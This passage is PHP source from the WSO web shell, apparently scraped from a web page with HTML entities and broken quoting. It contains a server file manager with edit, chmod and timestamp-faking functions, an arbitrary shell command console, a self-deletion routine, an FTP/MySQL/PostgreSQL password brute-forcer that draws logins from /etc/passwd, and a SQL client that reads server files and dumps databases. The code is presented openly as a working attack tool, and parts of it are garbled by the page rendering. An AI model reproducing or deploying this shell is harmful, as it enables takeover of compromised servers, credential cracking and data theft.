if(class_exists(&#8216;ZipArchive&#8217;)) {<br />
$zip = new ZipArchive();<br />
if ($zip->open($_POST['p2'], 1)) {<br />
chdir($_COOKIE['c']);<br />
foreach($_COOKIE['f'] as $f) {<br />
if($f == &#8216;..&#8217;)<br />
continue;<br />
if(@is_file($_COOKIE['c'].$f))<br />
$zip->addFile($_COOKIE['c'].$f, $f);<br />
elseif(@is_dir($_COOKIE['c'].$f)) {<br />
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.&#8217;/', FilesystemIterator::SKIP_DOTS));<br />
foreach ($iterator as $key=>$value) {<br />
$zip->addFile(realpath($key), $key);<br />
}<br />
}<br />
}<br />
chdir($GLOBALS['cwd']);<br />
$zip->close();<br />
}<br />
}<br />
} elseif($_COOKIE['act'] == &#8216;unzip&#8217;) {<br />
if(class_exists(&#8216;ZipArchive&#8217;)) {<br />
$zip = new ZipArchive();<br />
foreach($_COOKIE['f'] as $f) {<br />
if($zip->open($_COOKIE['c'].$f)) {<br />
$zip->extractTo($GLOBALS['cwd']);<br />
$zip->close();<br />
}<br />
}<br />
}<br />
} elseif($_COOKIE['act'] == &#8216;tar&#8217;) {<br />
chdir($_COOKIE['c']);<br />
$_COOKIE['f'] = array_map(&#8216;escapeshellarg&#8217;, $_COOKIE['f']);<br />
wsoEx(&#8216;tar cfzv &#8216; . escapeshellarg($_POST['p2']) . &#8216; &#8216; . implode(&#8216; &#8216;, $_COOKIE['f']));<br />
chdir($GLOBALS['cwd']);<br />
}<br />
unset($_COOKIE['f']);<br />
setcookie(&#8216;f&#8217;, &#8221;, time() &#8211; 3600);<br />
break;<br />
default:<br />
if(!empty($_POST['p1'])) {<br />
WSOsetcookie(&#8216;act&#8217;, $_POST['p1']);<br />
WSOsetcookie(&#8216;f&#8217;, serialize(@$_POST['f']));<br />
WSOsetcookie(&#8216;c&#8217;, @$_POST['c']);<br />
}<br />
break;<br />
}<br />
}<br />
wsoHeader();<br />
echo &#8216;</p>
<p>File manager<br />
&#8216;;<br />
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);<br />
if($dirContent === false) { echo &#8216;Can\&#8217;t open this folder!&#8217;;wsoFooter(); return; }<br />
global $sort;<br />
$sort = array(&#8216;name&#8217;, 1);<br />
if(!empty($_POST['p1'])) {<br />
if(preg_match(&#8216;!s_([A-z]+)_(\d{1})!&#8217;, $_POST['p1'], $match))<br />
$sort = array($match[1], (int)$match[2]);<br />
}<br />
echo &#8221;<br />
NameSizeModifyOwner/GroupPermissionsActions&#8221;;<br />
$dirs = $files = array();<br />
$n = count($dirContent);<br />
for($i=0;$i $ow = @posix_getpwuid(@fileowner($dirContent[$i]));<br />
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));<br />
$tmp = array(&#8216;name&#8217; => $dirContent[$i],<br />
&#8216;path&#8217; => $GLOBALS['cwd'].$dirContent[$i],<br />
&#8216;modify&#8217; => date(&#8216;Y-m-d H:i:s&#8217;, @filemtime($GLOBALS['cwd'] . $dirContent[$i])),<br />
&#8216;perms&#8217; => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),<br />
&#8216;size&#8217; => @filesize($GLOBALS['cwd'].$dirContent[$i]),<br />
&#8216;owner&#8217; => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),<br />
&#8216;group&#8217; => $gr['name']?$gr['name']:@filegroup($dirContent[$i])<br />
);<br />
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))<br />
$files[] = array_merge($tmp, array(&#8216;type&#8217; => &#8216;file&#8217;));<br />
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))<br />
$dirs[] = array_merge($tmp, array(&#8216;type&#8217; => &#8216;link&#8217;, &#8216;link&#8217; => readlink($tmp['path'])));<br />
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))<br />
$dirs[] = array_merge($tmp, array(&#8216;type&#8217; => &#8216;dir&#8217;));<br />
}<br />
$GLOBALS['sort'] = $sort;<br />
function wsoCmp($a, $b) {<br />
if($GLOBALS['sort'][0] != &#8216;size&#8217;)<br />
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);<br />
else<br />
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);<br />
}<br />
usort($files, "wsoCmp");<br />
usort($dirs, "wsoCmp");<br />
$files = array_merge($dirs, $files);<br />
$l = 0;<br />
foreach($files as $f) {<br />
echo '<br />
'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '>[ ' . htmlspecialchars($f['name']) . &#8216; ]&#8217;).&#8221;.(($f['type']==&#8217;file&#8217;)?wsoViewSize($f['size']):$f['type']).&#8221;.$f['modify'].&#8221;.$f['owner'].&#8217;/&#8217;.$f['group'].&#8221;.$f['perms']<br />
.&#8217;R T&#8217;.(($f['type']==&#8217;file&#8217;)?&#8217; E D&#8217;:&#8221;).&#8221;;<br />
$l = $l?0:1;<br />
}<br />
echo &#8221;</p>
<p>    Copy Move Delete<br />
&#8220;;<br />
if(class_exists(&#8216;ZipArchive&#8217;))<br />
echo &#8221;</p>
<p>Compress (zip)Uncompress (zip)<br />
&#8220;;<br />
echo &#8221;</p>
<p>Compress (tar.gz)<br />
&#8220;;<br />
if(!empty($_COOKIE['act']) &#038;&#038; @count($_COOKIE['f']))<br />
echo &#8221;</p>
<p>Paste / Compress<br />
&#8220;;<br />
echo &#8221;<br />
 &#8220;;<br />
if(!empty($_COOKIE['act']) &#038;&#038; @count($_COOKIE['f']) &#038;&#038; (($_COOKIE['act'] == &#8216;zip&#8217;) || ($_COOKIE['act'] == &#8216;tar&#8217;)))<br />
echo &#8220;file name:<br />
 &#8220;;<br />
echo &#8221;</p>
<p>&#8220;;<br />
wsoFooter();<br />
}<br />
function actionStringTools() {<br />
if(!function_exists(&#8216;hex2bin&#8217;)) {function hex2bin($p) {return decbin(hexdec($p));}}<br />
if(!function_exists(&#8216;binhex&#8217;)) {function binhex($p) {return dechex(bindec($p));}}<br />
if(!function_exists(&#8216;hex2ascii&#8217;)) {function hex2ascii($p){$r=&#8221;;for($i=0;$i if(!function_exists(&#8216;ascii2hex&#8217;)) {function ascii2hex($p){$r=&#8221;;for($i=0;$i if(!function_exists(&#8216;full_urlencode&#8217;)) {function full_urlencode($p){$r=&#8221;;for($i=0;$i $stringTools = array(<br />
&#8216;Base64 encode&#8217; => &#8216;base64_encode&#8217;,<br />
&#8216;Base64 decode&#8217; => &#8216;base64_decode&#8217;,<br />
&#8216;Url encode&#8217; => &#8216;urlencode&#8217;,<br />
&#8216;Url decode&#8217; => &#8216;urldecode&#8217;,<br />
&#8216;Full urlencode&#8217; => &#8216;full_urlencode&#8217;,<br />
&#8216;md5 hash&#8217; => &#8216;md5&#8242;,<br />
&#8216;sha1 hash&#8217; => &#8216;sha1&#8242;,<br />
&#8216;crypt&#8217; => &#8216;crypt&#8217;,<br />
&#8216;CRC32&#8242; => &#8216;crc32&#8242;,<br />
&#8216;ASCII to HEX&#8217; => &#8216;ascii2hex&#8217;,<br />
&#8216;HEX to ASCII&#8217; => &#8216;hex2ascii&#8217;,<br />
&#8216;HEX to DEC&#8217; => &#8216;hexdec&#8217;,<br />
&#8216;HEX to BIN&#8217; => &#8216;hex2bin&#8217;,<br />
&#8216;DEC to HEX&#8217; => &#8216;dechex&#8217;,<br />
&#8216;DEC to BIN&#8217; => &#8216;decbin&#8217;,<br />
&#8216;BIN to HEX&#8217; => &#8216;binhex&#8217;,<br />
&#8216;BIN to DEC&#8217; => &#8216;bindec&#8217;,<br />
&#8216;String to lower case&#8217; => &#8216;strtolower&#8217;,<br />
&#8216;String to upper case&#8217; => &#8216;strtoupper&#8217;,<br />
&#8216;Htmlspecialchars&#8217; => &#8216;htmlspecialchars&#8217;,<br />
&#8216;String length&#8217; => &#8216;strlen&#8217;,<br />
);<br />
if(isset($_POST['ajax'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, true);<br />
ob_start();<br />
if(in_array($_POST['p1'], $stringTools))<br />
echo $_POST['p1']($_POST['p2']);<br />
$temp = &#8220;document.getElementById(&#8216;strOutput&#8217;).style.display=&#8221;;document.getElementById(&#8216;strOutput&#8217;).innerHTML=&#8217;&#8221;.addcslashes(htmlspecialchars(ob_get_clean()),&#8221;\n\r\t\\&#8217;\0&#8243;).&#8221;&#8216;;\n&#8221;;<br />
echo strlen($temp), &#8220;\n&#8221;, $temp;<br />
exit;<br />
}<br />
if(empty($_POST['ajax'])&#038;&#038;!empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, 0);<br />
wsoHeader();<br />
echo &#8216;</p>
<p>String conversions<br />
&#8216;;<br />
echo &#8221;</p>
<p>&#8220;;<br />
 foreach($stringTools as $k => $v)<br />
 echo &#8221;<br />
 &#8220;.$k.&#8221;<br />
&#8220;;<br />
echo &#8221;</p>
<p> send using AJAX<br />
&#8220;.(empty($_POST['p1'])?&#8221;:htmlspecialchars(@$_POST['p2'])).&#8221;<br />
&#8220;;<br />
	if(!empty($_POST['p1'])) {<br />
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));<br />
	}<br />
	echo&#8221;Search files:<br />
Text:<br />
Path:<br />
Name:</p>
<p>&#8220;;<br />
function wsoRecursiveGlob($path) {<br />
if(substr($path, -1) != &#8216;/&#8217;)<br />
$path.=&#8217;/';<br />
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.&#8217;*', GLOB_ONLYDIR)));<br />
if(is_array($paths)&#038;&#038;@count($paths)) {<br />
foreach($paths as $item) {<br />
if(@is_dir($item)){<br />
if($path!=$item)<br />
wsoRecursiveGlob($item);<br />
} else {<br />
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)<br />
echo &#8220;&#8221;.htmlspecialchars($item).&#8221;<br />
&#8220;;<br />
}<br />
}<br />
}<br />
}<br />
if(@$_POST['p3'])<br />
wsoRecursiveGlob($_POST['c']);<br />
echo &#8221;<br />
Search for hash:</p>
<p>&#8220;;<br />
wsoFooter();<br />
}<br />
function actionFilesTools() {<br />
if( isset($_POST['p1']) )<br />
$_POST['p1'] = urldecode($_POST['p1']);<br />
if(@$_POST['p2']==&#8217;download&#8217;) {<br />
if(@is_file($_POST['p1']) &#038;&#038; @is_readable($_POST['p1'])) {<br />
ob_start(&#8220;ob_gzhandler&#8221;, 4096);<br />
header(&#8220;Content-Disposition: attachment; filename=&#8221;.basename($_POST['p1']));<br />
if (function_exists(&#8220;mime_content_type&#8221;)) {<br />
$type = @mime_content_type($_POST['p1']);<br />
header(&#8220;Content-Type: &#8221; . $type);<br />
} else<br />
header(&#8220;Content-Type: application/octet-stream&#8221;);<br />
$fp = @fopen($_POST['p1'], &#8220;r&#8221;);<br />
if($fp) {<br />
while(!@feof($fp))<br />
echo @fread($fp, 1024);<br />
fclose($fp);<br />
}<br />
}exit;<br />
}<br />
if( @$_POST['p2'] == &#8216;mkfile&#8217; ) {<br />
if(!file_exists($_POST['p1'])) {<br />
$fp = @fopen($_POST['p1'], &#8216;w&#8217;);<br />
if($fp) {<br />
$_POST['p2'] = &#8220;edit&#8221;;<br />
fclose($fp);<br />
}<br />
}<br />
}<br />
wsoHeader();<br />
echo &#8216;</p>
<p>File tools<br />
&#8216;;<br />
if( !file_exists(@$_POST['p1']) ) {<br />
echo &#8216;File not exists&#8217;;<br />
wsoFooter();<br />
return;<br />
}<br />
$uid = @posix_getpwuid(@fileowner($_POST['p1']));<br />
if(!$uid) {<br />
$uid['name'] = @fileowner($_POST['p1']);<br />
$gid['name'] = @filegroup($_POST['p1']);<br />
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));<br />
echo &#8216;Name: &#8216;.htmlspecialchars(@basename($_POST['p1'])).&#8217; Size: &#8216;.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):&#8217;-').&#8217; Permission: &#8216;.wsoPermsColor($_POST['p1']).&#8217; Owner/Group: &#8216;.$uid['name'].&#8217;/&#8217;.$gid['name'].&#8217;<br />
&#8216;;<br />
echo &#8216;Change time: &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,filectime($_POST['p1'])).&#8217; Access time: &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,fileatime($_POST['p1'])).&#8217; Modify time: &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,filemtime($_POST['p1'])).&#8217;<br />
&#8216;;<br />
if( empty($_POST['p2']) )<br />
$_POST['p2'] = &#8216;view&#8217;;<br />
if( is_file($_POST['p1']) )<br />
$m = array(&#8216;View&#8217;, &#8216;Highlight&#8217;, &#8216;Download&#8217;, &#8216;Hexdump&#8217;, &#8216;Edit&#8217;, &#8216;Chmod&#8217;, &#8216;Rename&#8217;, &#8216;Touch&#8217;);<br />
else<br />
$m = array(&#8216;Chmod&#8217;, &#8216;Rename&#8217;, &#8216;Touch&#8217;);<br />
foreach($m as $v)<br />
echo &#8221;.((strtolower($v)==@$_POST['p2'])?&#8217;[ '.$v.' ]&#8216;:$v).&#8217; &#8216;;<br />
echo &#8216;<br />
&#8216;;<br />
switch($_POST['p2']) {<br />
case &#8216;view&#8217;:<br />
echo &#8216;<br />
&#8216;;<br />
			$fp = @fopen($_POST['p1'], &#8216;r&#8217;);<br />
			if($fp) {<br />
				while( !@feof($fp) )<br />
					echo htmlspecialchars(@fread($fp, 1024));<br />
				@fclose($fp);<br />
			}<br />
			echo &#8221;;<br />
break;<br />
case &#8216;highlight&#8217;:<br />
if( @is_readable($_POST['p1']) ) {<br />
echo &#8216;<br />
&#8216;;<br />
$code = @highlight_file($_POST['p1'],true);<br />
echo str_replace(array(&#8221;), array(&#8221;),$code).&#8217;<br />
&#8216;;<br />
}<br />
break;<br />
case &#8216;chmod&#8217;:<br />
if( !empty($_POST['p3']) ) {<br />
$perms = 0;<br />
for($i=strlen($_POST['p3'])-1;$i>=0;&#8211;$i)<br />
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));<br />
if(!@chmod($_POST['p1'], $perms))<br />
echo &#8216;Can\&#8217;t set permissions!<br />
&#8216;;<br />
}<br />
clearstatcache();<br />
echo &#8216;</p>
<p>&#8216;;<br />
break;<br />
case &#8216;edit&#8217;:<br />
if( !is_writable($_POST['p1'])) {<br />
echo &#8216;File isn\&#8217;t writeable&#8217;;<br />
break;<br />
}<br />
if( !empty($_POST['p3']) ) {<br />
$time = @filemtime($_POST['p1']);<br />
$_POST['p3'] = substr($_POST['p3'],1);<br />
$fp = @fopen($_POST['p1'],&#8221;w&#8221;);<br />
if($fp) {<br />
@fwrite($fp,$_POST['p3']);<br />
@fclose($fp);<br />
echo &#8216;Saved!<br />
&#8216;;<br />
@touch($_POST['p1'],$time,$time);<br />
}<br />
}<br />
echo &#8216;</p>
<p>&#8216;;<br />
 $fp = @fopen($_POST['p1'], &#8216;r&#8217;);<br />
 if($fp) {<br />
 while( !@feof($fp) )<br />
 echo htmlspecialchars(@fread($fp, 1024));<br />
 @fclose($fp);<br />
 }<br />
 echo &#8216;</p>
<p>&#8216;;<br />
break;<br />
case &#8216;hexdump&#8217;:<br />
$c = @file_get_contents($_POST['p1']);<br />
$n = 0;<br />
$h = array(&#8217;00000000<br />
&#8216;,&#8221;,&#8221;);<br />
$len = strlen($c);<br />
for ($i=0; $i $h[1] .= sprintf(&#8216;%02X&#8217;,ord($c[$i])).&#8217; &#8216;;<br />
switch ( ord($c[$i]) ) {<br />
case 0: $h[2] .= &#8216; &#8216;; break;<br />
case 9: $h[2] .= &#8216; &#8216;; break;<br />
case 10: $h[2] .= &#8216; &#8216;; break;<br />
case 13: $h[2] .= &#8216; &#8216;; break;<br />
default: $h[2] .= $c[$i]; break;<br />
}<br />
$n++;<br />
if ($n == 32) {<br />
$n = 0;<br />
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br />
';}<br />
$h[1] .= '<br />
';<br />
$h[2] .= "\n";<br />
}<br />
}<br />
echo '</p>
<p>'.$h[0].''.$h[1].''.htmlspecialchars($h[2]).'</p>
<p>';<br />
break;<br />
case 'rename':<br />
if( !empty($_POST['p3']) ) {<br />
if(!@rename($_POST['p1'], $_POST['p3']))<br />
echo 'Can\'t rename!<br />
';<br />
else<br />
die('');<br />
}<br />
echo '</p>
<p>';<br />
break;<br />
case 'touch':<br />
if( !empty($_POST['p3']) ) {<br />
$time = strtotime($_POST['p3']);<br />
if($time) {<br />
if(!touch($_POST['p1'],$time,$time))<br />
echo 'Fail!';<br />
else<br />
echo 'Touched!';<br />
} else echo 'Bad time format!';<br />
}<br />
clearstatcache();<br />
echo '</p>
<p>';<br />
break;<br />
}<br />
echo '<br />
';<br />
wsoFooter();<br />
}<br />
function actionConsole() {<br />
if(!empty($_POST['p1']) &#038;&#038; !empty($_POST['p2'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);<br />
$_POST['p1'] .= ' 2>&#038;1&#8242;;<br />
} elseif(!empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;stderr_to_out&#8217;, 0);<br />
if(isset($_POST['ajax'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, true);<br />
ob_start();<br />
echo &#8220;d.cf.cmd.value=&#8221;;\n&#8221;;<br />
$temp = @iconv($_POST['charset'], &#8216;UTF-8&#8242;, addcslashes(&#8220;\n$ &#8220;.$_POST['p1'].&#8221;\n&#8221;.wsoEx($_POST['p1']),&#8221;\n\r\t\\&#8217;\0&#8243;));<br />
if(preg_match(&#8220;!.*cd\s+([^;]+)$!&#8221;,$_POST['p1'],$match)) {<br />
if(@chdir($match[1])) {<br />
$GLOBALS['cwd'] = @getcwd();<br />
echo &#8220;c_=&#8217;&#8221;.$GLOBALS['cwd'].&#8221;&#8216;;&#8221;;<br />
}<br />
}<br />
echo &#8220;d.cf.output.value+=&#8217;&#8221;.$temp.&#8221;&#8216;;&#8221;;<br />
echo &#8220;d.cf.output.scrollTop = d.cf.output.scrollHeight;&#8221;;<br />
$temp = ob_get_clean();<br />
echo strlen($temp), &#8220;\n&#8221;, $temp;<br />
exit;<br />
}<br />
if(empty($_POST['ajax'])&#038;&#038;!empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, 0);<br />
wsoHeader();<br />
echo &#8220;&#8221;;<br />
echo &#8216;</p>
<p>Console<br />
&#8216;;<br />
 foreach($GLOBALS['aliases'] as $n => $v) {<br />
 if($v == &#8221;) {<br />
 echo &#8221;;<br />
 continue;<br />
 }<br />
 echo &#8216;<br />
 &#8216;.$n.&#8217;<br />
&#8216;;<br />
}<br />
echo &#8216;</p>
<p> send using AJAX<br />
 redirect stderr to stdout (2>&#038;1)<br />
&#8216;;<br />
 if(!empty($_POST['p1'])) {<br />
 echo htmlspecialchars(&#8220;$ &#8220;.$_POST['p1'].&#8221;\n&#8221;.wsoEx($_POST['p1']));<br />
 }<br />
 echo &#8216;<br />
$</p>
<p>&#8216;;<br />
echo &#8216;<br />
&#8216;;<br />
wsoFooter();<br />
}<br />
function actionLogout() {<br />
setcookie(md5($_SERVER['HTTP_HOST']), &#8221;, time() &#8211; 3600);<br />
die(&#8216;bye!&#8217;);<br />
}<br />
function actionSelfRemove() {<br />
if($_POST['p1'] == &#8216;yes&#8217;)<br />
if(@unlink(preg_replace(&#8216;!\(\d+\)\s.*!&#8217;, &#8221;, __FILE__)))<br />
die(&#8216;Shell has been removed&#8217;);<br />
else<br />
echo &#8216;unlink error!&#8217;;<br />
if($_POST['p1'] != &#8216;yes&#8217;)<br />
wsoHeader();<br />
echo &#8216;</p>
<p>Suicide<br />
Really want to remove the shell?<br />
Yes<br />
&#8216;;<br />
wsoFooter();<br />
}<br />
function actionBruteforce() {<br />
wsoHeader();<br />
if( isset($_POST['proto']) ) {<br />
echo &#8216;</p>
<p>Results<br />
Type: &#8216;.htmlspecialchars($_POST['proto']).&#8217; Server: &#8216;.htmlspecialchars($_POST['server']).&#8217;<br />
&#8216;;<br />
if( $_POST['proto'] == &#8216;ftp&#8217; ) {<br />
function wsoBruteForce($ip,$port,$login,$pass) {<br />
$fp = @ftp_connect($ip, $port?$port:21);<br />
if(!$fp) return false;<br />
$res = @ftp_login($fp, $login, $pass);<br />
@ftp_close($fp);<br />
return $res;<br />
}<br />
} elseif( $_POST['proto'] == &#8216;mysql&#8217; ) {<br />
function wsoBruteForce($ip,$port,$login,$pass) {<br />
$res = @mysql_connect($ip.&#8217;:&#8217;.($port?$port:3306), $login, $pass);<br />
@mysql_close($res);<br />
return $res;<br />
}<br />
} elseif( $_POST['proto'] == &#8216;pgsql&#8217; ) {<br />
function wsoBruteForce($ip,$port,$login,$pass) {<br />
$str = &#8220;host=&#8217;&#8221;.$ip.&#8221;&#8216; port=&#8217;&#8221;.$port.&#8221;&#8216; user=&#8217;&#8221;.$login.&#8221;&#8216; password=&#8217;&#8221;.$pass.&#8221;&#8216; dbname=postgres&#8221;;<br />
$res = @pg_connect($str);<br />
@pg_close($res);<br />
return $res;<br />
}<br />
}<br />
$success = 0;<br />
$attempts = 0;<br />
$server = explode(&#8220;:&#8221;, $_POST['server']);<br />
if($_POST['type'] == 1) {<br />
$temp = @file(&#8216;/etc/passwd&#8217;);<br />
if( is_array($temp) )<br />
foreach($temp as $line) {<br />
$line = explode(&#8220;:&#8221;, $line);<br />
++$attempts;<br />
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {<br />
$success++;<br />
echo &#8221;.htmlspecialchars($line[0]).&#8217;:&#8217;.htmlspecialchars($line[0]).&#8217;<br />
&#8216;;<br />
}<br />
if(@$_POST['reverse']) {<br />
$tmp = &#8220;&#8221;;<br />
for($i=strlen($line[0])-1; $i>=0; &#8211;$i)<br />
$tmp .= $line[0][$i];<br />
++$attempts;<br />
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {<br />
$success++;<br />
echo &#8221;.htmlspecialchars($line[0]).&#8217;:&#8217;.htmlspecialchars($tmp);<br />
}<br />
}<br />
}<br />
} elseif($_POST['type'] == 2) {<br />
$temp = @file($_POST['dict']);<br />
if( is_array($temp) )<br />
foreach($temp as $line) {<br />
$line = trim($line);<br />
++$attempts;<br />
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {<br />
$success++;<br />
echo &#8221;.htmlspecialchars($_POST['login']).&#8217;:&#8217;.htmlspecialchars($line).&#8217;<br />
&#8216;;<br />
}<br />
}<br />
}<br />
echo &#8220;Attempts: $attempts Success: $success<br />
&#8220;;<br />
}<br />
echo &#8216;</p>
<p>Bruteforce<br />
Type&#8217;<br />
.&#8217; FTP MySql PostgreSql&#8217;<br />
.&#8217;<br />
&#8216;<br />
.&#8217;<br />
&#8216;<br />
.&#8217;<br />
&#8216;<br />
.&#8217;Server:port&#8217;<br />
.&#8217;<br />
&#8216;<br />
.&#8217;</p>
<p>Brute type&#8217;<br />
.&#8217;<br />
 /etc/passwd<br />
&#8216;<br />
.&#8217;</p>
<p> reverse (login -> nigol)<br />
&#8216;<br />
.&#8217;</p>
<p> Dictionary<br />
&#8216;<br />
.&#8217;<br />
 Login&#8217;<br />
.&#8217;<br />
&#8216;<br />
.&#8217;<br />
Dictionary&#8217;<br />
.&#8217;</p>
<p>&#8216;<br />
.&#8217;</p>
<p>&#8216;;<br />
echo &#8216;<br />
&#8216;;<br />
wsoFooter();<br />
}<br />
function actionSql() {<br />
class DbClass {<br />
var $type;<br />
var $link;<br />
var $res;<br />
function DbClass($type) {<br />
$this->type = $type;<br />
}<br />
function connect($host, $user, $pass, $dbname){<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
$host = explode(&#8216;:&#8217;, $host);<br />
if(!$host[1]) $host[1]=5432;<br />
if( $this->link = @pg_connect(&#8220;host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname&#8221;) ) return true;<br />
break;<br />
}<br />
return false;<br />
}<br />
function selectdb($db) {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
if (@mysql_select_db($db))return true;<br />
break;<br />
}<br />
return false;<br />
}<br />
function query($str) {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
return $this->res = @mysql_query($str);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return $this->res = @pg_query($this->link,$str);<br />
break;<br />
}<br />
return false;<br />
}<br />
function fetch() {<br />
$res = func_num_args()?func_get_arg(0):$this->res;<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
return @mysql_fetch_assoc($res);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return @pg_fetch_assoc($res);<br />
break;<br />
}<br />
return false;<br />
}<br />
function listDbs() {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
return $this->query(&#8220;SHOW databases&#8221;);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return $this->res = $this->query(&#8220;SELECT datname FROM pg_database WHERE datistemplate!=&#8217;t'&#8221;);<br />
break;<br />
}<br />
return false;<br />
}<br />
function listTables() {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
return $this->res = $this->query(&#8216;SHOW TABLES&#8217;);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return $this->res = $this->query(&#8220;select table_name from information_schema.tables where table_schema != &#8216;information_schema&#8217; AND table_schema != &#8216;pg_catalog&#8217;&#8221;);<br />
break;<br />
}<br />
return false;<br />
}<br />
function error() {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
return @mysql_error();<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return @pg_last_error();<br />
break;<br />
}<br />
return false;<br />
}<br />
function setCharset($str) {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
if(function_exists(&#8216;mysql_set_charset&#8217;))<br />
return @mysql_set_charset($str, $this->link);<br />
else<br />
$this->query(&#8216;SET CHARSET &#8216;.$str);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
return @pg_set_client_encoding($this->link, $str);<br />
break;<br />
}<br />
return false;<br />
}<br />
function loadFile($str) {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
return $this->fetch($this->query(&#8220;SELECT LOAD_FILE(&#8216;&#8221;.addslashes($str).&#8221;&#8216;) as file&#8221;));<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
$this->query(&#8220;CREATE TABLE wso2(file text);COPY wso2 FROM &#8216;&#8221;.addslashes($str).&#8221;&#8216;;select file from wso2;&#8221;);<br />
$r=array();<br />
while($i=$this->fetch())<br />
$r[] = $i['file'];<br />
$this->query(&#8216;drop table wso2&#8242;);<br />
return array(&#8216;file&#8217;=>implode(&#8220;\n&#8221;,$r));<br />
break;<br />
}<br />
return false;<br />
}<br />
function dump($table, $fp = false) {<br />
switch($this->type) {<br />
case &#8216;mysql&#8217;:<br />
$res = $this->query(&#8216;SHOW CREATE TABLE `&#8217;.$table.&#8217;`');<br />
$create = mysql_fetch_array($res);<br />
$sql = $create[1].&#8221;;\n&#8221;;<br />
if($fp) fwrite($fp, $sql); else echo($sql);<br />
$this->query(&#8216;SELECT * FROM `&#8217;.$table.&#8217;`');<br />
$i = 0;<br />
$head = true;<br />
while($item = $this->fetch()) {<br />
$sql = &#8221;;<br />
if($i % 1000 == 0) {<br />
$head = true;<br />
$sql = &#8220;;\n\n&#8221;;<br />
}<br />
$columns = array();<br />
foreach($item as $k=>$v) {<br />
if($v === null)<br />
$item[$k] = &#8220;NULL&#8221;;<br />
elseif(is_int($v))<br />
$item[$k] = $v;<br />
else<br />
$item[$k] = &#8220;&#8216;&#8221;.@mysql_real_escape_string($v).&#8221;&#8216;&#8221;;<br />
$columns[] = &#8220;`&#8221;.$k.&#8221;`&#8221;;<br />
}<br />
if($head) {<br />
$sql .= &#8216;INSERT INTO `&#8217;.$table.&#8217;` (&#8216;.implode(&#8220;, &#8220;, $columns).&#8221;) VALUES \n\t(&#8220;.implode(&#8220;, &#8220;, $item).&#8217;)';<br />
$head = false;<br />
} else<br />
$sql .= &#8220;\n\t,(&#8220;.implode(&#8220;, &#8220;, $item).&#8217;)';<br />
if($fp) fwrite($fp, $sql); else echo($sql);<br />
$i++;<br />
}<br />
if(!$head)<br />
if($fp) fwrite($fp, &#8220;;\n\n&#8221;); else echo(&#8220;;\n\n&#8221;);<br />
break;<br />
case &#8216;pgsql&#8217;:<br />
$this->query(&#8216;SELECT * FROM &#8216;.$table);<br />
while($item = $this->fetch()) {<br />
$columns = array();<br />
foreach($item as $k=>$v) {<br />
$item[$k] = &#8220;&#8216;&#8221;.addslashes($v).&#8221;&#8216;&#8221;;<br />
$columns[] = $k;<br />
}<br />
$sql = &#8216;INSERT INTO &#8216;.$table.&#8217; (&#8216;.implode(&#8220;, &#8220;, $columns).&#8217;) VALUES (&#8216;.implode(&#8220;, &#8220;, $item).&#8217;);&#8217;.&#8221;\n&#8221;;<br />
if($fp) fwrite($fp, $sql); else echo($sql);<br />
}<br />
break;<br />
}<br />
return false;<br />
}<br />
};<br />
$db = new DbClass($_POST['type']);<br />
if((@$_POST['p2']==&#8217;download&#8217;) &#038;&#038; (@$_POST['p1']!=&#8217;select&#8217;)) {<br />
